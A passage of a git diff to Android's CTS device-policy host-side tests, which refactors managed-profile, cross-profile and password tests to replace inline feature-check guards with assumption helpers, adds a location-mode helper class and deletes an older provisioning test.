                 LAUNCHER_TESTS_CLASS, "testNoSystemAppHasSyntheticAppDetailsActivityInjected",
                 mCurrentUserId, Collections.singletonMap(PARAM_TEST_USER, mSerialNumber));
@@ -95,9 +89,6 @@
 
     @Test
     public void testNoLauncherActivityAppNotInjected() throws Exception {
-        if (!mHasLauncherApps) {
-            return;
-        }
         runDeviceTestsAsUser(LAUNCHER_TESTS_PKG,
                 LAUNCHER_TESTS_CLASS, "testNoLauncherActivityAppNotInjected",
                 mCurrentUserId, Collections.singletonMap(PARAM_TEST_USER, mSerialNumber));
@@ -105,9 +96,6 @@
 
     @Test
     public void testNoPermissionAppNotInjected() throws Exception {
-        if (!mHasLauncherApps) {
-            return;
-        }
         runDeviceTestsAsUser(LAUNCHER_TESTS_PKG,
                 LAUNCHER_TESTS_CLASS, "testNoPermissionAppNotInjected",
                 mCurrentUserId, Collections.singletonMap(PARAM_TEST_USER, mSerialNumber));
@@ -115,9 +103,6 @@
 
     @Test
     public void testGetSetSyntheticAppDetailsActivityEnabled() throws Exception {
-        if (!mHasLauncherApps) {
-            return;
-        }
         runDeviceTestsAsUser(LAUNCHER_TESTS_PKG,
                 LAUNCHER_TESTS_CLASS, "testGetSetSyntheticAppDetailsActivityEnabled",
                 mCurrentUserId, Collections.singletonMap(PARAM_TEST_USER, mSerialNumber));
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LocationModeSetter.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LocationModeSetter.java
new file mode 100644
index 0000000..d7a9f24
--- /dev/null
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LocationModeSetter.java
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.devicepolicy;
+
+import com.android.tradefed.device.ITestDevice;
+
+// NOTE: copied from compatibility-host-util-axt as that library was
+// imported just for this one simple class
+final class LocationModeSetter implements AutoCloseable {
+
+    /**
+     * Copied from {@link android.provider.Settings}
+     */
+    private static final String SETTINGS_SECURE = "secure";
+    private static final String LOCATION_MODE = "location_mode";
+    private static final String LOCATION_MODE_HIGH_ACCURACY = "3";
+    private static final String LOCATION_MODE_OFF = "0";
+
+    private final String mOldLocationSetting;
+    private final ITestDevice mDevice;
+
+    LocationModeSetter(ITestDevice device) throws Exception {
+        mDevice = device;
+        mOldLocationSetting = mDevice.getSetting(SETTINGS_SECURE, LOCATION_MODE);
+    }
+
+    public void setLocationEnabled(boolean enabled) throws Exception {
+        if (enabled) {
+            mDevice.setSetting(SETTINGS_SECURE, LOCATION_MODE, LOCATION_MODE_HIGH_ACCURACY);
+        } else {
+            mDevice.setSetting(SETTINGS_SECURE, LOCATION_MODE, LOCATION_MODE_OFF);
+        }
+    }
+
+    @Override
+    public void close() throws Exception {
+        mDevice.setSetting(SETTINGS_SECURE, LOCATION_MODE, mOldLocationSetting);
+    }
+}
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileContactsTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileContactsTest.java
index 5492cf2..b1f39f5 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileContactsTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileContactsTest.java
@@ -17,7 +17,6 @@
 package com.android.cts.devicepolicy;
 
 import static com.android.cts.devicepolicy.metrics.DevicePolicyEventLogVerifier.assertMetricsLogged;
-import static com.android.cts.devicepolicy.metrics.DevicePolicyEventLogVerifier.isStatsdEnabled;
 
 import android.platform.test.annotations.FlakyTest;
 import android.platform.test.annotations.LargeTest;
@@ -90,35 +89,32 @@
                 contactsTestSet.checkIfCanFilterEnterpriseContacts(false);
                 contactsTestSet.checkIfCanFilterSelfContacts();
                 contactsTestSet.checkIfNoEnterpriseDirectoryFound();
-                if (isStatsdEnabled(getDevice())) {
-                    assertMetricsLogged(getDevice(), () -> {
-                        contactsTestSet.setCallerIdEnabled(true);
-                        contactsTestSet.setCallerIdEnabled(false);
-                    }, new DevicePolicyEventWrapper
-                            .Builder(EventId.SET_CROSS_PROFILE_CALLER_ID_DISABLED_VALUE)
-                            .setAdminPackageName(MANAGED_PROFILE_PKG)
-                            .setBoolean(false)
-                            .build(),
-                    new DevicePolicyEventWrapper
-                            .Builder(EventId.SET_CROSS_PROFILE_CALLER_ID_DISABLED_VALUE)
-                            .setAdminPackageName(MANAGED_PROFILE_PKG)
-                            .setBoolean(true)
-                            .build());
-                    assertMetricsLogged(getDevice(), () -> {
-                        contactsTestSet.setContactsSearchEnabled(true);
-                        contactsTestSet.setContactsSearchEnabled(false);
-                    }, new DevicePolicyEventWrapper
-                            .Builder(EventId.SET_CROSS_PROFILE_CONTACTS_SEARCH_DISABLED_VALUE)
-                            .setAdminPackageName(MANAGED_PROFILE_PKG)
-                            .setBoolean(false)
-                            .build(),
-                    new DevicePolicyEventWrapper
-                            .Builder(
-                            EventId.SET_CROSS_PROFILE_CONTACTS_SEARCH_DISABLED_VALUE)
-                            .setAdminPackageName(MANAGED_PROFILE_PKG)
-                            .setBoolean(true)
-                            .build());
-                }
+                assertMetricsLogged(getDevice(), () -> {
+                    contactsTestSet.setCallerIdEnabled(true);
+                    contactsTestSet.setCallerIdEnabled(false);
+                }, new DevicePolicyEventWrapper
+                        .Builder(EventId.SET_CROSS_PROFILE_CALLER_ID_DISABLED_VALUE)
+                        .setAdminPackageName(MANAGED_PROFILE_PKG)
+                        .setBoolean(false)
+                        .build(),
+                new DevicePolicyEventWrapper
+                        .Builder(EventId.SET_CROSS_PROFILE_CALLER_ID_DISABLED_VALUE)
+                        .setAdminPackageName(MANAGED_PROFILE_PKG)
+                        .setBoolean(true)
+                        .build());
+                assertMetricsLogged(getDevice(), () -> {
+                    contactsTestSet.setContactsSearchEnabled(true);
+                    contactsTestSet.setContactsSearchEnabled(false);
+                }, new DevicePolicyEventWrapper
+                        .Builder(EventId.SET_CROSS_PROFILE_CONTACTS_SEARCH_DISABLED_VALUE)
+                        .setAdminPackageName(MANAGED_PROFILE_PKG)
+                        .setBoolean(false)
+                        .build(),
+                new DevicePolicyEventWrapper
+                        .Builder(EventId.SET_CROSS_PROFILE_CONTACTS_SEARCH_DISABLED_VALUE)
+                        .setAdminPackageName(MANAGED_PROFILE_PKG)
+                        .setBoolean(true)
+                        .build());
                 return null;
             } finally {
                 // reset policies
@@ -139,10 +135,6 @@
     }
 
     private void runManagedContactsTest(Callable<Void> callable) throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
         try {
             // Allow cross profile contacts search.
             // TODO test both on and off.
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileCrossProfileTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileCrossProfileTest.java
index fe80592..041491a 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileCrossProfileTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileCrossProfileTest.java
@@ -24,12 +24,11 @@
 import static android.stats.devicepolicy.EventId.SET_INTERACT_ACROSS_PROFILES_APP_OP_VALUE;
 
 import static com.android.cts.devicepolicy.metrics.DevicePolicyEventLogVerifier.assertMetricsLogged;
-import static com.android.cts.devicepolicy.metrics.DevicePolicyEventLogVerifier.isStatsdEnabled;
 
 import static com.google.common.truth.Truth.assertThat;
 
-import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
 
 import android.platform.test.annotations.FlakyTest;
 import android.platform.test.annotations.LargeTest;
@@ -73,12 +72,20 @@
                     TEST_APP_1_PKG,
                     TEST_APP_2_PKG);
 
+    // The apps whose app-ops are maintained and unset are defined by
+    // testSetCrossProfilePackages_resetsAppOps_noAsserts on the device-side.
+    private static final Set<String> UNSET_CROSS_PROFILE_PACKAGES_2 =
+            Sets.newHashSet(
+                    TEST_APP_4_PKG);
+    private static final Set<String> MAINTAINED_CROSS_PROFILE_PACKAGES_2 =
+            Sets.newHashSet(
+                    TEST_APP_1_PKG,
+                    TEST_APP_2_PKG,
+                    TEST_APP_3_PKG);
+
     @LargeTest
     @Test
     public void testCrossProfileIntentFilters() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         // Set up activities: ManagedProfileActivity will only be enabled in the managed profile and
         // PrimaryUserActivity only in the primary one
         disableActivityForUser("ManagedProfileActivity", mParentUserId);
@@ -87,17 +94,15 @@
         runDeviceTestsAsUser(MANAGED_PROFILE_PKG,
                 MANAGED_PROFILE_PKG + ".CrossProfileIntentFilterTest", mProfileUserId);
 
-        if (isStatsdEnabled(getDevice())) {
-            assertMetricsLogged(getDevice(), () -> {
-                runDeviceTestsAsUser(
-                        MANAGED_PROFILE_PKG, MANAGED_PROFILE_PKG + ".CrossProfileIntentFilterTest",
-                        "testAddCrossProfileIntentFilter_all", mProfileUserId);
-            }, new DevicePolicyEventWrapper.Builder(ADD_CROSS_PROFILE_INTENT_FILTER_VALUE)
-                    .setAdminPackageName(MANAGED_PROFILE_PKG)
-                    .setInt(1)
-                    .setStrings("com.android.cts.managedprofile.ACTION_TEST_ALL_ACTIVITY")
-                    .build());
-        }
+        assertMetricsLogged(getDevice(), () -> {
+            runDeviceTestsAsUser(
+                    MANAGED_PROFILE_PKG, MANAGED_PROFILE_PKG + ".CrossProfileIntentFilterTest",
+                    "testAddCrossProfileIntentFilter_all", mProfileUserId);
+        }, new DevicePolicyEventWrapper.Builder(ADD_CROSS_PROFILE_INTENT_FILTER_VALUE)
+                .setAdminPackageName(MANAGED_PROFILE_PKG)
+                .setInt(1)
+                .setStrings("com.android.cts.managedprofile.ACTION_TEST_ALL_ACTIVITY")
+                .build());
 
         // Set up filters from primary to managed profile
         String command = "am start -W --user " + mProfileUserId + " " + MANAGED_PROFILE_PKG
@@ -112,9 +117,6 @@
     @FlakyTest
     @Test
     public void testCrossProfileContent() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
 
         // Storage permission shouldn't be granted, we check if missing permissions are respected
         // in ContentTest#testSecurity.
@@ -140,9 +142,6 @@
     @FlakyTest
     @Test
     public void testCrossProfileNotificationListeners_EmptyAllowlist() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
 
         installAppAsUser(NOTIFICATION_APK, USER_ALL);
 
@@ -158,9 +157,6 @@
 
     @Test
     public void testCrossProfileNotificationListeners_NullAllowlist() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
 
         installAppAsUser(NOTIFICATION_APK, USER_ALL);
 
@@ -176,9 +172,6 @@
 
     @Test
     public void testCrossProfileNotificationListeners_InAllowlist() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
 
         installAppAsUser(NOTIFICATION_APK, USER_ALL);
 
@@ -194,9 +187,6 @@
 
     @Test
     public void testCrossProfileNotificationListeners_setAndGet() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         installAppAsUser(NOTIFICATION_APK, USER_ALL);
 
         runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".NotificationListenerTest",
@@ -207,9 +197,6 @@
     @FlakyTest
     @Test
     public void testCrossProfileCopyPaste() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         installAppAsUser(INTENT_RECEIVER_APK, USER_ALL);
         installAppAsUser(INTENT_SENDER_APK, USER_ALL);
 
@@ -249,10 +236,6 @@
     @FlakyTest
     @Test
     public void testCrossProfileWidgets() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
         try {
             installAppAsUser(WIDGET_PROVIDER_APK, USER_ALL);
             getDevice().executeShellCommand("appwidget grantbind --user " + mParentUserId
@@ -297,10 +280,6 @@
     @FlakyTest
     @Test
     public void testCrossProfileWidgetsLogged() throws Exception {
-        if (!mHasFeature || !isStatsdEnabled(getDevice())) {
-            return;
-        }
-
         try {
             installAppAsUser(WIDGET_PROVIDER_APK, USER_ALL);
             getDevice().executeShellCommand("appwidget grantbind --user " + mParentUserId
@@ -330,9 +309,6 @@
 
     @Test
     public void testCrossProfileCalendarPackage() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         assertMetricsLogged(getDevice(), () -> {
             runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
                     "testCrossProfileCalendarPackage", mProfileUserId);
@@ -345,9 +321,6 @@
     @Test
     public void testSetCrossProfilePackages_notProfileOwner_throwsSecurityException()
             throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         runDeviceTestsAsUser(
                 MANAGED_PROFILE_PKG,
                 ".CrossProfileTest",
@@ -358,9 +331,6 @@
     @Test
     public void testGetCrossProfilePackages_notProfileOwner_throwsSecurityException()
             throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         runDeviceTestsAsUser(
                 MANAGED_PROFILE_PKG,
                 ".CrossProfileTest",
@@ -371,9 +341,6 @@
     @Test
     public void testGetCrossProfilePackages_notSet_returnsEmpty()
             throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         runDeviceTestsAsUser(
                 MANAGED_PROFILE_PKG,
                 ".CrossProfileTest",
@@ -384,9 +351,6 @@
     @Test
     public void testGetCrossProfilePackages_whenSetTwice_returnsLatestNotConcatenated()
             throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         runDeviceTestsAsUser(
                 MANAGED_PROFILE_PKG,
                 ".CrossProfileTest",
@@ -397,9 +361,6 @@
     @Test
     public void testGetCrossProfilePackages_whenSet_returnsEqual()
             throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         runDeviceTestsAsUser(
                 MANAGED_PROFILE_PKG,
                 ".CrossProfileTest",
@@ -409,9 +370,6 @@
 
     @Test
     public void testSetCrossProfilePackages_isLogged() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         installAllTestApps();
         assertMetricsLogged(
                 getDevice(),
@@ -419,17 +377,13 @@
                         ".CrossProfileTest", "testSetCrossProfilePackages_noAsserts"),
                 new DevicePolicyEventWrapper.Builder(SET_CROSS_PROFILE_PACKAGES_VALUE)
                         .setAdminPackageName(MANAGED_PROFILE_PKG)
-                        .setStrings(
-                                TEST_APP_1_PKG, TEST_APP_2_PKG, TEST_APP_3_PKG, TEST_APP_4_PKG)
+                        .setStrings(TEST_APP_1_PKG)
                         .build());
     }
 
     @FlakyTest
     @Test
     public void testDisallowSharingIntoPersonalFromProfile() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         // Set up activities: PrimaryUserActivity will only be enabled in the personal user
         // This activity is used to find out the ground truth about the system's cross profile
         // intent forwarding activity.
@@ -442,9 +396,6 @@
 
     @Test
     public void testDisallowSharingIntoProfileFromPersonal() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         // Set up activities: ManagedProfileActivity will only be enabled in the managed profile
         // This activity is used to find out the ground truth about the system's cross profile
         // intent forwarding activity.
@@ -465,9 +416,6 @@
 
     @Test
     public void testSetCrossProfilePackages_resetsAppOps() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         installAllTestApps();
         runWorkProfileDeviceTest(
                 ".CrossProfileTest",
@@ -491,9 +439,6 @@
 
     @Test
     public void testSetCrossProfilePackages_sendsBroadcastWhenResettingAppOps() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         installAllTestApps();
         setupLogcatForTest();
 
@@ -553,20 +498,12 @@
 
     @Test
     public void testSetCrossProfilePackages_resetsAppOps_isLogged() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         installAllTestApps();
         assertMetricsLogged(
                 getDevice(),
                 () -> runWorkProfileDeviceTest(
                         ".CrossProfileTest", "testSetCrossProfilePackages_resetsAppOps_noAsserts"),
                 new DevicePolicyEventWrapper.Builder(SET_INTERACT_ACROSS_PROFILES_APP_OP_VALUE)
-                        .setStrings(TEST_APP_3_PKG)
-                        .setInt(MODE_DEFAULT)
-                        .setBoolean(true) // cross-profile manifest attribute
-                        .build(),
-                new DevicePolicyEventWrapper.Builder(SET_INTERACT_ACROSS_PROFILES_APP_OP_VALUE)
                         .setStrings(TEST_APP_4_PKG)
                         .setInt(MODE_DEFAULT)
                         .setBoolean(true) // cross-profile manifest attribute
@@ -575,23 +512,21 @@
 
     @Test
     public void testSetCrossProfilePackages_killsApps() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
         installAllTestApps();
         launchAllTestAppsInBothProfiles();
         Map<String, List<String>> maintainedPackagesPids = getPackagesPids(
-                MAINTAINED_CROSS_PROFILE_PACKAGES);
-        Map<String, List<String>> unsetPackagesPids = getPackagesPids(UNSET_CROSS_PROFILE_PACKAGES);
+                MAINTAINED_CROSS_PROFILE_PACKAGES_2);
+        Map<String, List<String>> unsetPackagesPids = getPackagesPids(
+                UNSET_CROSS_PROFILE_PACKAGES_2);
 
         runWorkProfileDeviceTest(
                 ".CrossProfileTest",
                 "testSetCrossProfilePackages_resetsAppOps_noAsserts");
 
-        for (String packageName : MAINTAINED_CROSS_PROFILE_PACKAGES) {
+        for (String packageName : MAINTAINED_CROSS_PROFILE_PACKAGES_2) {
             assertAppRunningInBothProfiles(packageName, maintainedPackagesPids.get(packageName));
         }
-        for (String packageName : UNSET_CROSS_PROFILE_PACKAGES) {
+        for (String packageName : UNSET_CROSS_PROFILE_PACKAGES_2) {
             assertAppKilledInBothProfiles(packageName, unsetPackagesPids.get(packageName));
         }
     }
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfilePasswordTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfilePasswordTest.java
index e6fc79b..77e1838 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfilePasswordTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfilePasswordTest.java
@@ -17,7 +17,6 @@
 package com.android.cts.devicepolicy;
 
 import static com.android.cts.devicepolicy.metrics.DevicePolicyEventLogVerifier.assertMetricsLogged;
-import static com.android.cts.devicepolicy.metrics.DevicePolicyEventLogVerifier.isStatsdEnabled;
 
 import android.platform.test.annotations.FlakyTest;
 import android.platform.test.annotations.LargeTest;
@@ -40,28 +39,16 @@
     @FlakyTest
     @Test
     public void testLockNowWithKeyEviction() throws Exception {
-        if (!mHasFeature || !mSupportsFbe || !mHasSecureLockScreen) {
-            return;
-        }
+        assumeHasFileBasedEncryptionAndSecureLockScreenFeatures();
+
         changeUserCredential(TEST_PASSWORD, null, mProfileUserId);
         lockProfile();
     }
 
-    @Test
-    public void testPasswordMinimumRestrictions() throws Exception {
-        if (!mHasFeature || !mHasSecureLockScreen) {
-            return;
-        }
-        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".PasswordMinimumRestrictionsTest",
-                mProfileUserId);
-    }
-
     @FlakyTest
     @Test
     public void testResetPasswordWithTokenBeforeUnlock() throws Exception {
-        if (!mHasFeature || !mSupportsFbe || !mHasSecureLockScreen) {
-            return;
-        }
+        assumeHasFileBasedEncryptionAndSecureLockScreenFeatures();
 
         runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ResetPasswordWithTokenTest",
                 "testSetupWorkProfile", mProfileUserId);
@@ -75,9 +62,7 @@
     @FlakyTest
     @Test
     public void testClearPasswordWithTokenBeforeUnlock() throws Exception {
-        if (!mHasFeature || !mSupportsFbe || !mHasSecureLockScreen) {
-            return;
-        }
+        assumeHasFileBasedEncryptionAndSecureLockScreenFeatures();
 
         runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ResetPasswordWithTokenTest",
                 "testSetupWorkProfile", mProfileUserId);
@@ -98,9 +83,8 @@
     @FlakyTest
     @Test
     public void testResetPasswordTokenUsableAfterClearingLock() throws Exception {
-        if (!mHasFeature || !mSupportsFbe || !mHasSecureLockScreen) {
-            return;
-        }
+        assumeHasFileBasedEncryptionAndSecureLockScreenFeatures();
+
         final String devicePassword = TEST_PASSWORD;
 
         runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ResetPasswordWithTokenTest",
@@ -127,9 +111,7 @@
     @LockSettingsTest
     @Test
     public void testIsUsingUnifiedPassword() throws Exception {
-        if (!mHasFeature || !mHasSecureLockScreen) {
-            return;
-        }
+        assumeHasSecureLockScreenFeature();
 
         // Freshly created profile has no separate challenge.
         verifyUnifiedPassword(true);
@@ -145,9 +127,8 @@
     @LockSettingsTest
     @Test
     public void testUnlockWorkProfile_deviceWidePassword() throws Exception {
-        if (!mHasFeature || !mSupportsFbe || !mHasSecureLockScreen) {
-            return;
-        }
+        assumeHasSecureLockScreenFeature();
+
         try {
             // Add a device password after the work profile has been created.
             changeUserCredential(TEST_PASSWORD, /* oldCredential= */ null, mPrimaryUserId);
@@ -170,9 +151,8 @@
     @LockSettingsTest
     @Test
     public void testRebootDevice_unifiedPassword() throws Exception {
-        if (!mHasFeature || !mHasSecureLockScreen) {
-            return;
-        }
+        assumeHasSecureLockScreenFeature();
+
         // Waiting before rebooting prevents flakiness.
         waitForBroadcastIdle();
         changeUserCredential(TEST_PASSWORD, /* oldCredential= */ null, mPrimaryUserId);
@@ -194,9 +174,8 @@
     @LockSettingsTest
     @Test
     public void testRebootDevice_separatePasswords() throws Exception {
-        if (!mHasFeature || !mHasSecureLockScreen) {
-            return;
-        }
+        assumeHasSecureLockScreenFeature();
+
         // Waiting before rebooting prevents flakiness.
         waitForBroadcastIdle();
         final String profilePassword = "profile";
@@ -223,9 +202,8 @@
 
     @Test
     public void testCreateSeparateChallengeChangedLogged() throws Exception {
-        if (!mHasFeature || !mHasSecureLockScreen || !isStatsdEnabled(getDevice())) {
-            return;
-        }
+        assumeHasSecureLockScreenFeature();
+
         assertMetricsLogged(getDevice(), () -> {
             changeUserCredential(
                     TEST_PASSWORD /* newCredential */, null /* oldCredential */, mProfileUserId);
@@ -234,6 +212,14 @@
                 .build());
     }
 
+    @Test
+    public void testActivePasswordSufficientForDeviceRequirement() throws Exception {
+        assumeHasSecureLockScreenFeature();
+
+        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ActivePasswordSufficientForDeviceTest",
+                mProfileUserId);
+    }
+
     private void verifyUnifiedPassword(boolean unified) throws DeviceNotAvailableException {
         final String testMethod =
                 unified ? "testUsingUnifiedPassword" : "testNotUsingUnifiedPassword";
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileProvisioningSingleAdminTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileProvisioningSingleAdminTest.java
index 897e23a..86a90d2 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileProvisioningSingleAdminTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileProvisioningSingleAdminTest.java
@@ -15,8 +15,13 @@
  */
 package com.android.cts.devicepolicy;
 
+import static com.android.cts.devicepolicy.DeviceAdminFeaturesCheckerRule.FEATURE_MANAGED_USERS;
+
 import android.platform.test.annotations.FlakyTest;
 
+import com.android.cts.devicepolicy.DeviceAdminFeaturesCheckerRule.RequiresAdditionalFeatures;
+
+import org.junit.Ignore;
 import org.junit.Test;
 
 /**
@@ -24,6 +29,8 @@
  * BIND_DEVICE_ADMIN permissions, which was a requirement for the app sending the
  * ACTION_PROVISION_MANAGED_PROFILE intent before Android M.
  */
+// We need multi user to be supported in order to create a profile of the user owner.
+@RequiresAdditionalFeatures({FEATURE_MANAGED_USERS})
 public class ManagedProfileProvisioningSingleAdminTest extends BaseDevicePolicyTest {
 
     private static final String SINGLE_ADMIN_PKG = "com.android.cts.devicepolicy.singleadmin";
@@ -35,34 +42,26 @@
     public void setUp() throws Exception {
         super.setUp();
 
-        // We need multi user to be supported in order to create a profile of the user owner.
-        mHasFeature = mHasFeature && hasDeviceFeature("android.software.managed_users");
 
-        if (mHasFeature) {
-            removeTestUsers();
-            installAppAsUser(SINGLE_ADMIN_APP_APK, mPrimaryUserId);
-            mProfileUserId = 0;
-        }
+        removeTestUsers();
+        installAppAsUser(SINGLE_ADMIN_APP_APK, mPrimaryUserId);
+        mProfileUserId = 0;
     }
 
     @Override
     public void tearDown() throws Exception {
-        if (mHasFeature) {
-            if (mProfileUserId != 0) {
-                removeUser(mProfileUserId);
-            }
-            getDevice().uninstallPackage(SINGLE_ADMIN_PKG);
+        if (mProfileUserId != 0) {
+            removeUser(mProfileUserId);
         }
+        getDevice().uninstallPackage(SINGLE_ADMIN_PKG);
+
         super.tearDown();
     }
 
     @FlakyTest
     @Test
+    @Ignore("b/183395856 Figure out if it should be removed or converted to a device side test.")
     public void testEXTRA_PROVISIONING_DEVICE_ADMIN_PACKAGE_NAME() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
         runDeviceTestsAsUser(SINGLE_ADMIN_PKG, ".ProvisioningSingleAdminTest",
                 "testManagedProfileProvisioning", mPrimaryUserId);
 
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileProvisioningTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileProvisioningTest.java
deleted file mode 100644
index 8dd68bf..0000000
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileProvisioningTest.java
+++ /dev/null
@@ -1,151 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.devicepolicy;
-
-import android.platform.test.annotations.FlakyTest;
-
-import org.junit.Test;
-
-public class ManagedProfileProvisioningTest extends BaseDevicePolicyTest {
-    private static final String MANAGED_PROFILE_PKG = "com.android.cts.managedprofile";
-    private static final String MANAGED_PROFILE_APK = "CtsManagedProfileApp.apk";
-
-    private int mProfileUserId;
-    private int mParentUserId;
-
-    @Override
-    public void setUp() throws Exception {
-        super.setUp();
-
-        // We need multi user to be supported in order to create a profile of the user owner.
-        mHasFeature = mHasFeature && hasDeviceFeature(
-                "android.software.managed_users");
-
-        if (mHasFeature) {
-            removeTestUsers();
-            mParentUserId = mPrimaryUserId;
-            installAppAsUser(MANAGED_PROFILE_APK, mParentUserId);
-            mProfileUserId = 0;
-        }
-    }
-
-    @Override
-    public void tearDown() throws Exception {
-        if (mHasFeature) {
-            if (mProfileUserId != 0) {
-                removeUser(mProfileUserId);
-            }
-            // Remove the test app account: also done by uninstallPackage
-            getDevice().uninstallPackage(MANAGED_PROFILE_PKG);
-        }
-        super.tearDown();
-    }
-    @FlakyTest(bugId = 141747631)
-    @Test
-    public void testManagedProfileProvisioning() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
-        provisionManagedProfile();
-
-        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ProvisioningTest",
-                "testIsManagedProfile", mProfileUserId);
-    }
-
-    @FlakyTest(bugId = 127275983)
-    @Test
-    public void testEXTRA_PROVISIONING_ADMIN_EXTRAS_BUNDLE() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
-        provisionManagedProfile();
-
-        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ProvisioningTest",
-                "testVerifyAdminExtraBundle", mProfileUserId);
-    }
-
-    @FlakyTest(bugId = 141747631)
-    @Test
-    public void testVerifySuccessfulIntentWasReceived() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
-        provisionManagedProfile();
-
-        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ProvisioningTest",
-                "testVerifySuccessfulIntentWasReceived", mProfileUserId);
-    }
-
-    @FlakyTest(bugId = 141747631)
-    @Test
-    public void testAccountMigration() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
-        provisionManagedProfile();
-
-        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ProvisioningTest",
-                "testAccountExist", mProfileUserId);
-
-        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ProvisioningTest",
-                "testAccountNotExist", mParentUserId);
-    }
-
-    @FlakyTest(bugId = 141747631)
-    @Test
-    public void testAccountCopy() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
-        provisionManagedProfile_accountCopy();
-
-        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ProvisioningTest",
-                "testAccountExist", mProfileUserId);
-
-        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ProvisioningTest",
-                "testAccountExist", mParentUserId);
-    }
-
-    @FlakyTest(bugId = 141747631)
-    @Test
-    public void testWebview() throws Exception {
-        if (!mHasFeature) {
-            return;
-        }
-
-        // We start an activity containing WebView in another process and run provisioning to
-        // test that the process is not killed.
-        startActivityAsUser(mParentUserId, MANAGED_PROFILE_PKG, ".WebViewActivity");
-        provisionManagedProfile();
-    }
-
-    private void provisionManagedProfile() throws Exception {
-        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".ProvisioningTest",
-                "testProvisionManagedProfile", mParentUserId);
-        mProfileUserId = getFirstManagedProfileUserId();
-    }
-
